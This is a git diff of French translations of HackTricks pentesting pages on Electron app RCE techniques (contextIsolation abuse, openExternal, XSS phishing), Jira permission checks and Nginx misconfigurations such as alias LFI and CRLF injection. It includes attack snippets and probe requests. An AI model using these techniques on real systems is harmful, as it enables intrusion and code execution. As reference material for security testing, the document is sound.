**Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. ## Introduction -Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il manque certains des mécanismes de sécurité des navigateurs modernes. +Electron combine un backend local (avec **NodeJS**) et un frontend (**Chromium**), bien qu'il manque certains mécanismes de sécurité des navigateurs modernes. Généralement, vous pouvez trouver le code de l'application Electron à l'intérieur d'une application `.asar`, pour obtenir le code, vous devez l'extraire : ```bash @@ -44,12 +44,12 @@ let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://path/to/index.html`); ``` -Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines des configurations permettront d'**éviter que l'application Electron ne soit victime d'une RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**. +Les paramètres du **processus de rendu** peuvent être **configurés** dans le **processus principal** à l'intérieur du fichier main.js. Certaines des configurations permettront d'**empêcher l'application Electron de subir une RCE** ou d'autres vulnérabilités si les **paramètres sont correctement configurés**. L'application Electron **pourrait accéder au périphérique** via les API Node bien qu'il puisse être configuré pour l'empêcher : * **`nodeIntegration`** - est `désactivé` par défaut. S'il est activé, cela permet d'accéder aux fonctionnalités de Node depuis le processus de rendu. -* **`contextIsolation`** - est activé par défaut. S'il est activé, les processus principal et de rendu ne sont pas isolés. +* **`contextIsolation`** - est `activé` par défaut. S'il est désactivé, les processus principal et de rendu ne sont pas isolés. * **`preload`** - vide par défaut. * [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - est désactivé par défaut. Cela restreindra les actions que NodeJS peut effectuer. * Intégration de Node dans les Workers @@ -101,7 +101,7 @@ Modifier la configuration start-main et ajouter l'utilisation d'un proxy tel que ```javascript "start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors", ``` -## Injection de Code Local dans Electron +## Injection de Code Local Electron Si vous pouvez exécuter localement une application Electron, il est possible que vous puissiez lui faire exécuter du code JavaScript arbitraire. Vérifiez comment faire dans: @@ -160,12 +160,12 @@ runCalc(); ## RCE: XSS + contextIsolation -Le _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** de sorte que l'exécution JavaScript de chaque code n'affecte pas l'autre. Il s'agit d'une fonctionnalité nécessaire pour éliminer la possibilité de RCE. +La _**contextIsolation**_ introduit les **contextes séparés entre les scripts de la page web et le code interne JavaScript d'Electron** de sorte que l'exécution JavaScript de chaque code n'affecte pas l'autre. Il s'agit d'une fonctionnalité nécessaire pour éliminer la possibilité de RCE. Si les contextes ne sont pas isolés, un attaquant peut : 1. Exécuter du **JavaScript arbitraire dans le renderer** (XSS ou navigation vers des sites externes) -2. **Écraser la méthode intégrée** qui est utilisée dans le code de préchargement ou le code interne d'Electron par sa propre fonction +2. **Écraser la méthode intégrée** utilisée dans le preload ou le code interne d'Electron par sa propre fonction 3. **Déclencher** l'utilisation de la **fonction écrasée** 4. RCE ? @@ -204,13 +204,13 @@ Ces écouteurs sont **remplacés par l'application de bureau** pour implémenter **Voici un pseudocode simplifié :** -![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../.gitbook/assets/image (638) (2) (1) (1).png>) +![https://miro.medium.com/max/1400/1\*iqX26DMEr9RF7nMC1ANMAA.png](<../../../.gitbook/assets/image (638) (2) (1) (1).png>) -![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../.gitbook/assets/image (620).png>) +![https://miro.medium.com/max/1400/1\*ZfgVwT3X1V\_UfjcKaAccag.png](<../../../.gitbook/assets/image (620).png>) -Les meilleures pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait entraîner une exécution de code à distance via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une exécution de code à distance. Pour des exemples détaillés et une explication approfondie sur ce sujet, vous pouvez consulter [cette ressource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité. +Les meilleures pratiques de sécurité d'Electron JS déconseillent d'accepter du contenu non fiable avec la fonction `openExternal`, car cela pourrait entraîner une RCE via divers protocoles. Les systèmes d'exploitation prennent en charge différents protocoles qui pourraient déclencher une RCE. Pour des exemples détaillés et une explication approfondie sur ce sujet, on peut se référer à [cette ressource](https://positive.security/blog/url-open-rce#windows-10-19042), qui inclut des exemples de protocoles Windows capables d'exploiter cette vulnérabilité. -**Des exemples d'exploitations de protocoles Windows incluent :** +**Les exemples d'exploits de protocoles Windows incluent :** ```html ``` -## **RCE: XSS + Ancien Chromium** +## **RCE: XSS + Ancienne version de Chromium** Si le **chromium** utilisé par l'application est **ancien** et qu'il existe des **vulnérabilités connues** sur celui-ci, il pourrait être possible de **l'exploiter et d'obtenir une RCE via un XSS**.\ Vous pouvez voir un exemple dans ce **writeup**: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/) -## **Phishing XSS via Bypass regex d'URL interne** +## **Phishing XSS via contournement regex d'URL interne** -Supposons que vous ayez trouvé un XSS mais que vous **ne pouvez pas déclencher de RCE ou voler des fichiers internes**, vous pourriez essayer de l'utiliser pour **voler des identifiants via le phishing**. +Supposons que vous ayez trouvé un XSS mais que vous **ne pouvez pas déclencher de RCE ou voler des fichiers internes**, vous pourriez essayer de l'utiliser pour **voler des informations d'identification via du phishing**. Tout d'abord, vous devez savoir ce qui se passe lorsque vous essayez d'ouvrir une nouvelle URL, en vérifiant le code JS dans le front-end: ```javascript webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below) webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below) ``` -L'appel à **`openInternally`** décidera si le **lien** sera **ouvert** dans la **fenêtre de bureau** car il s'agit d'un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **navigateur en tant que ressource tierce**. +L'appel à **`openInternally`** décidera si le **lien** sera **ouvert** dans la **fenêtre du bureau** car il s'agit d'un lien appartenant à la plateforme, **ou** s'il sera ouvert dans le **navigateur en tant que ressource tierce**. -Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux contournements** (par exemple en **ne faisant pas l'échappement des points des sous-domaines**), un attaquant pourrait abuser du XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des informations d'identification** à l'utilisateur: +Dans le cas où le **regex** utilisé par la fonction est **vulnérable aux contournements** (par exemple en **ne fuyant pas les points des sous-domaines**), un attaquant pourrait exploiter la XSS pour **ouvrir une nouvelle fenêtre qui** sera située dans l'infrastructure de l'attaquant **demandant des informations d'identification** à l'utilisateur: ```html ``` -# Exemple 2 +## Exemple 2 -Si le script de préchargement expose directement au moteur de rendu un moyen d'appeler shell.openExternal, il est possible d'obtenir une exécution de code à distance (RCE). +Si le script de préchargement expose directement au moteur de rendu un moyen d'appeler `shell.openExternal`, il est possible d'obtenir une exécution de code à distance (RCE). ```javascript // Part of preload.js code window.electronOpenInBrowser = (url) => { shell.openExternal(url); }; ``` -# Exemple 3 +## Exemple 3 Si le script de préchargement expose des moyens de communiquer complètement avec le processus principal, une XSS pourra envoyer n'importe quel événement. L'impact de cela dépend de ce que le processus principal expose en termes d'IPC. ```javascript @@ -101,12 +108,12 @@ ipcRenderer.send(event, data); Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -D'autres façons de soutenir HackTricks : +D'autres façons de soutenir HackTricks: -* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. diff --git a/network-services-pentesting/pentesting-web/jira.md b/network-services-pentesting/pentesting-web/jira.md index 296081df8..d52218fa5 100644 --- a/network-services-pentesting/pentesting-web/jira.md +++ b/network-services-pentesting/pentesting-web/jira.md @@ -14,9 +14,9 @@ Autres façons de soutenir HackTricks : -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais écrit et parlé requis_). {% embed url="https://www.stmcyber.com/careers" %} @@ -24,7 +24,7 @@ Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossi Dans Jira, les **privilèges peuvent être vérifiés** par n'importe quel utilisateur, authentifié ou non, via les points de terminaison `/rest/api/2/mypermissions` ou `/rest/api/3/mypermissions`. Ces points de terminaison révèlent les privilèges actuels de l'utilisateur. Une préoccupation notable survient lorsque des **utilisateurs non authentifiés détiennent des privilèges**, indiquant une **vulnérabilité de sécurité** qui pourrait potentiellement être éligible à une **prime**. De même, des **privilèges inattendus pour les utilisateurs authentifiés** mettent également en évidence une **vulnérabilité**. -Une **mise à jour importante** a été effectuée le **1er février 2019**, exigeant que le point de terminaison 'mypermissions' inclue un **paramètre 'permission'**. Cette exigence vise à **renforcer la sécurité** en spécifiant les privilèges interrogés : [consultez-le ici](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) +Une **mise à jour importante** a été effectuée le **1er février 2019**, exigeant que le point de terminaison 'mypermissions' inclue un **paramètre 'permission'**. Cette exigence vise à **renforcer la sécurité** en spécifiant les privilèges interrogés : [consultez-la ici](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter) * ADD\_COMMENTS * ADMINISTER @@ -78,9 +78,9 @@ curl https://jira.some.example.com/rest/api/2/mypermissions | jq | grep -iB6 '"h * [https://github.com/0x48piraj/Jiraffe](https://github.com/0x48piraj/Jiraffe) * [https://github.com/bcoles/jira\_scan](https://github.com/bcoles/jira\_scan) -
+
-Si vous êtes intéressé par une **carrière en piratage** et pirater l'impiratable - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). +Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_). {% embed url="https://www.stmcyber.com/careers" %} @@ -94,6 +94,6 @@ Autres façons de soutenir HackTricks : * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. +* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-web/nginx.md b/network-services-pentesting/pentesting-web/nginx.md index 44174a658..9ac6e23b5 100644 --- a/network-services-pentesting/pentesting-web/nginx.md +++ b/network-services-pentesting/pentesting-web/nginx.md @@ -2,19 +2,19 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
+
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Lancez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser. @@ -24,7 +24,7 @@ Autres façons de soutenir HackTricks : ## **Essentiels de la configuration du répertoire racine Nginx** -Lors de la configuration du serveur Nginx, la directive **root** joue un rôle critique en définissant le répertoire de base à partir duquel les fichiers sont servis. Considérez l'exemple ci-dessous: +Lors de la configuration du serveur Nginx, la **directive root** joue un rôle critique en définissant le répertoire de base à partir duquel les fichiers sont servis. Considérez l'exemple ci-dessous: ```bash server { root /etc/nginx; @@ -35,13 +35,13 @@ proxy_pass http://127.0.0.1:8080/; } } ``` -Dans cette configuration, `/etc/nginx` est désigné comme répertoire racine. Cette configuration permet d'accéder aux fichiers dans le répertoire racine spécifié, comme `/hello.txt`. Cependant, il est crucial de noter qu'un emplacement spécifique (`/hello.txt`) est défini. Il n'y a pas de configuration pour l'emplacement racine (`location / {...}`). Cette omission signifie que la directive racine s'applique globalement, permettant aux requêtes vers le chemin racine `/` d'accéder aux fichiers sous `/etc/nginx`. +Dans cette configuration, `/etc/nginx` est désigné comme répertoire racine. Cette configuration permet d'accéder aux fichiers dans le répertoire racine spécifié, tel que `/hello.txt`. Cependant, il est crucial de noter qu'un emplacement spécifique (`/hello.txt`) est défini. Il n'y a pas de configuration pour l'emplacement racine (`location / {...}`). Cette omission signifie que la directive racine s'applique globalement, permettant aux requêtes vers le chemin racine `/` d'accéder aux fichiers sous `/etc/nginx`. Une considération de sécurité critique découle de cette configuration. Une simple requête `GET`, comme `GET /nginx.conf`, pourrait exposer des informations sensibles en servant le fichier de configuration Nginx situé à `/etc/nginx/nginx.conf`. Définir la racine sur un répertoire moins sensible, comme `/etc`, pourrait atténuer ce risque, mais cela pourrait encore permettre un accès non intentionnel à d'autres fichiers critiques, y compris d'autres fichiers de configuration, des journaux d'accès, voire des identifiants chiffrés utilisés pour l'authentification de base HTTP. -## Configuration de l'alias LFI mal configurée +## Configuration de l'Alias LFI -Dans les fichiers de configuration de Nginx, une inspection minutieuse est nécessaire pour les directives "location". Une vulnérabilité connue sous le nom d'Inclusion de Fichier Local (LFI) peut être introduite involontairement par le biais d'une configuration qui ressemble à ce qui suit: +Dans les fichiers de configuration de Nginx, une inspection minutieuse est nécessaire pour les directives "location". Une vulnérabilité connue sous le nom d'Inclusion de Fichier Local (LFI) peut être introduite involontairement via une configuration qui ressemble à ce qui suit: ``` location /imgs { alias /path/images/; @@ -55,9 +55,9 @@ location /imgs/ { alias /path/images/; } ``` -Plus d'informations: [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/) +Plus d'informations : [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/) -Tests d'Accunetix: +Tests d'Accunetix : ``` alias../ => HTTP status code 403 alias.../ => HTTP status code 404 @@ -77,15 +77,31 @@ location = /admin/ { deny all; } ``` -## Utilisation non sécurisée des variables +{% content-ref url="../../pentesting-web/proxy-waf-protections-bypass.md" %} +[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md) +{% endcontent-ref %} -Une vulnérabilité dans la configuration de Nginx est démontrée par l'exemple ci-dessous: +## Utilisation non sécurisée des variables / Fractionnement de requête HTTP + +{% hint style="danger" %} +Les variables vulnérables `$uri` et `$document_uri` doivent être remplacées par `$request_uri`. + +Une expression régulière peut également être vulnérable comme : + +`location ~ /docs/([^/])? { … $1 … }` - Vulnérable + +`location ~ /docs/([^/\s])? { … $1 … }` - Non vulnérable (vérification des espaces) + +`location ~ /docs/(.*)? { … $1 … }` - Non vulnérable +{% endhint %} + +Une vulnérabilité dans la configuration de Nginx est démontrée par l'exemple ci-dessous : ``` location / { return 302 https://example.com$uri; } ``` -Les caractères \r (Retour chariot) et \n (Saut de ligne) signifient de nouveaux caractères de ligne dans les requêtes HTTP, et leurs formes URL encodées sont représentées comme `%0d%0a`. Inclure ces caractères dans une requête (par exemple, `http://localhost/%0d%0aDetectify:%20clrf`) à un serveur mal configuré entraîne le serveur à émettre un nouvel en-tête nommé `Detectify`. Cela se produit car la variable $uri décode les caractères de nouvelle ligne encodés en URL, entraînant un en-tête inattendu dans la réponse: +Les caractères \r (Retour chariot) et \n (Saut de ligne) signifient de nouveaux caractères de ligne dans les requêtes HTTP, et leurs formes URL encodées sont représentées comme `%0d%0a`. Inclure ces caractères dans une requête (par exemple, `http://localhost/%0d%0aDetectify:%20clrf`) à un serveur mal configuré entraîne le serveur à émettre un nouvel en-tête nommé `Detectify`. Cela se produit car la variable $uri décode les caractères de saut de ligne encodés en URL, entraînant un en-tête inattendu dans la réponse: ``` HTTP/1.1 302 Moved Temporarily Server: nginx/1.19.3 @@ -95,13 +111,45 @@ Connection: keep-alive Location: https://example.com/ Detectify: clrf ``` -Découvrez les risques d'injection de CRLF et de fractionnement de réponse sur [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). +En savoir plus sur les risques d'injection CRLF et de fractionnement des réponses sur [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/). +Cette technique est également [**expliquée dans cette présentation**](https://www.youtube.com/watch?v=gWQyWdZbdoY\&list=PL0xCSYnG\_iTtJe2V6PQqamBF73n7-f1Nr\&index=77) avec des exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration d'un point de vue boîte noire, vous pourriez utiliser ces requêtes : + +* `https://example.com/%20X` - Tout code HTTP +* `https://example.com/%20H` - 400 Bad Request + +Si vulnérable, le premier retournera "X" car c'est n'importe quelle méthode HTTP et le second renverra une erreur car H n'est pas une méthode valide. Ainsi, le serveur recevra quelque chose comme : `GET / H HTTP/1.1` et cela déclenchera l'erreur. + +D'autres exemples de détection seraient : + +* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Tout code HTTP +* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request + +Certaines configurations vulnérables trouvées présentées dans cette présentation étaient : + +* Notez comment **`$uri`** est défini tel quel dans l'URL finale. +``` +location ^~ /lite/api/ { +proxy_pass http://lite-backend$uri$is_args$args; +} +``` +* Notez à nouveau que **`$uri`** est dans l'URL (cette fois à l'intérieur d'un paramètre) +``` +location ~ ^/dna/payment { +rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break; +proxy_pass http://$back; +``` +* Maintenant dans AWS S3 +``` +location /s3/ { +proxy_pass https://company-bucket.s3.amazonaws.com$uri; +} +``` ### Toute variable -Il a été découvert que des **données fournies par l'utilisateur** pourraient être traitées comme une **variable Nginx** dans certaines circonstances. La cause de ce comportement reste quelque peu évasive, mais il n'est ni rare ni simple à vérifier. Cette anomalie a été soulignée dans un rapport de sécurité sur HackerOne, consultable [ici](https://hackerone.com/reports/370094). Une enquête plus approfondie sur le message d'erreur a permis d'identifier son occurrence dans le [module de filtre SSI du code source de Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx_http_ssi_filter_module.c#L365), en pointant les Includes côté serveur (SSI) comme cause principale. +Il a été découvert que des **données fournies par l'utilisateur** pourraient être traitées comme une **variable Nginx** dans certaines circonstances. La cause de ce comportement reste quelque peu insaisissable, mais il n'est ni rare ni simple à vérifier. Cette anomalie a été mise en évidence dans un rapport de sécurité sur HackerOne, qui peut être consulté [ici](https://hackerone.com/reports/370094). Une enquête plus approfondie sur le message d'erreur a permis d'identifier son occurrence dans le [module de filtre SSI du code source de Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), en identifiant les Inclusions Côté Serveur (SSI) comme la cause principale. -Pour **détecter cette mauvaise configuration**, la commande suivante peut être exécutée, impliquant de définir un en-tête referer pour tester l'impression de variables: +Pour **détecter cette mauvaise configuration**, la commande suivante peut être exécutée, ce qui implique de définir un en-tête referer pour tester l'impression de variables: ```bash $ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’ ``` @@ -109,7 +157,7 @@ Les analyses de cette mauvaise configuration sur les systèmes ont révélé de ## Lecture brute de la réponse du serveur -Nginx propose une fonctionnalité via `proxy_pass` qui permet l'interception des erreurs et des en-têtes HTTP générés par le serveur, dans le but de masquer les messages d'erreur internes et les en-têtes. Cela est réalisé en faisant en sorte que Nginx serve des pages d'erreur personnalisées en réponse aux erreurs du serveur. Cependant, des défis surviennent lorsque Nginx rencontre une requête HTTP invalide. Une telle requête est transmise au serveur tel qu'elle a été reçue, et la réponse brute du serveur est ensuite envoyée directement au client sans l'intervention de Nginx. +Nginx propose une fonctionnalité via `proxy_pass` qui permet l'interception des erreurs et des en-têtes HTTP générés par le serveur, dans le but de masquer les messages d'erreur et les en-têtes internes. Cela est réalisé en faisant en sorte que Nginx serve des pages d'erreur personnalisées en réponse aux erreurs du serveur. Cependant, des défis surviennent lorsque Nginx rencontre une requête HTTP invalide. Une telle requête est transmise au serveur tel qu'elle a été reçue, et la réponse brute du serveur est ensuite directement envoyée au client sans l'intervention de Nginx. Considérez un scénario d'exemple impliquant une application uWSGI : ```python @@ -125,17 +173,16 @@ proxy_intercept_errors on; proxy_hide_header Secret-Header; } ``` -- **[proxy_intercept_errors](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors)**: Cette directive permet à Nginx de servir une réponse personnalisée pour les réponses en provenance du serveur avec un code d'état supérieur à 300. Cela garantit que, pour notre application uWSGI par exemple, une réponse d'erreur `500` est interceptée et gérée par Nginx. -- **[proxy_hide_header](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header)**: Comme son nom l'indique, cette directive masque les en-têtes HTTP spécifiés du client, améliorant ainsi la confidentialité et la sécurité. - -Lorsqu'une requête `GET` valide est effectuée, Nginx la traite normalement, renvoyant une réponse d'erreur standard sans révéler d'en-têtes secrets. Cependant, une requête HTTP invalide contourne ce mécanisme, exposant les réponses brutes du serveur, y compris les en-têtes secrets et les messages d'erreur. +* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_intercept_errors): Cette directive permet à Nginx de servir une réponse personnalisée pour les réponses du serveur avec un code d'état supérieur à 300. Cela garantit que, pour notre application uWSGI exemple, une réponse d'erreur `500` est interceptée et gérée par Nginx. +* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_hide_header): Comme son nom l'indique, cette directive masque les en-têtes HTTP spécifiés du client, améliorant ainsi la confidentialité et la sécurité. +Lorsqu'une requête `GET` valide est effectuée, Nginx la traite normalement, renvoyant une réponse d'erreur standard sans révéler d'en-têtes secrets. Cependant, une requête HTTP invalide contourne ce mécanisme, entraînant l'exposition des réponses brutes du serveur, y compris les en-têtes secrets et les messages d'erreur. ## merge\_slashes défini sur off -Par défaut, la directive **`merge_slashes` de Nginx** est définie sur **`on`**, ce qui compresse les multiples barres obliques dans une URL en une seule barre oblique. Cette fonctionnalité, tout en rationalisant le traitement des URL, peut involontairement dissimuler des vulnérabilités dans les applications derrière Nginx, en particulier celles sujettes aux attaques d'inclusion de fichiers locaux (LFI). Les experts en sécurité **Danny Robinson et Rotem Bar** ont souligné les risques potentiels associés à ce comportement par défaut, en particulier lorsque Nginx agit en tant que reverse-proxy. +Par défaut, la directive **`merge_slashes` de Nginx** est définie sur **`on`**, ce qui compresse plusieurs barres obliques dans une URL en une seule barre oblique. Cette fonctionnalité, tout en rationalisant le traitement des URL, peut involontairement dissimuler des vulnérabilités dans les applications derrière Nginx, en particulier celles sujettes aux attaques d'inclusion de fichiers locaux (LFI). Les experts en sécurité **Danny Robinson et Rotem Bar** ont souligné les risques potentiels associés à ce comportement par défaut, en particulier lorsque Nginx agit en tant que reverse-proxy. -Pour atténuer de tels risques, il est recommandé de **désactiver la directive `merge_slashes`** pour les applications susceptibles de ces vulnérabilités. Cela garantit que Nginx transmet les requêtes à l'application sans modifier la structure de l'URL, ne masquant ainsi aucun problème de sécurité sous-jacent. +Pour atténuer de tels risques, il est recommandé de **désactiver la directive `merge_slashes`** pour les applications susceptibles à ces vulnérabilités. Cela garantit que Nginx transmet les requêtes à l'application sans modifier la structure de l'URL, ne masquant ainsi aucun problème de sécurité sous-jacent. Pour plus d'informations, consultez [Danny Robinson et Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d). @@ -160,7 +207,7 @@ return 200 "Hello. It is private area: $mappocallow"; } } ``` -Sans une `default`, un **utilisateur malveillant** peut contourner la sécurité en accédant à une **URI non définie** dans `/map-poc`. [Le manuel de Nginx](https://nginx.org/en/docs/http/ngx_http_map_module.html) recommande de définir une **valeur par défaut** pour éviter de tels problèmes. +Sans une `default`, un **utilisateur malveillant** peut contourner la sécurité en accédant à une **URI non définie** dans `/map-poc`. [Le manuel de Nginx](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html) recommande de définir une **valeur par défaut** pour éviter de tels problèmes. ### **Vulnérabilité de l'usurpation DNS** @@ -170,11 +217,11 @@ resolver 8.8.8.8; ``` ### **Directives `proxy_pass` et `internal`** -La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, que ce soit en interne ou en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'à l'intérieur de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen attentif pour éviter les failles de sécurité. +La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, que ce soit en interne ou en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'à l'intérieur de Nginx. Bien que ces directives ne représentent pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen attentif pour éviter les failles de sécurité. ## proxy\_set\_header Upgrade & Connection -Si le serveur nginx est configuré pour transmettre les en-têtes Upgrade et Connection, une [attaque de type **h2c Smuggling**](../../pentesting-web/h2c-smuggling.md) pourrait être réalisée pour accéder à des points de terminaison protégés/internes. +Si le serveur nginx est configuré pour transmettre les en-têtes Upgrade et Connection, une [**attaque de type h2c Smuggling**](../../pentesting-web/h2c-smuggling.md) pourrait être réalisée pour accéder à des points de terminaison protégés/internes. {% hint style="danger" %} Cette vulnérabilité permettrait à un attaquant d'**établir une connexion directe avec le point de terminaison `proxy_pass`** (`http://backend:9999` dans ce cas) dont le contenu ne serait pas vérifié par nginx. @@ -201,7 +248,7 @@ deny all; } ``` {% hint style="warning" %} -Notez que même si `proxy_pass` pointait vers un **chemin** spécifique tel que `http://backend:9999/socket.io`, la connexion sera établie avec `http://backend:9999` donc vous pouvez **contacter tout autre chemin à l'intérieur de ce point de terminaison interne. Ainsi, il n'importe pas si un chemin est spécifié dans l'URL de proxy_pass.** +Notez que même si `proxy_pass` pointait vers un **chemin** 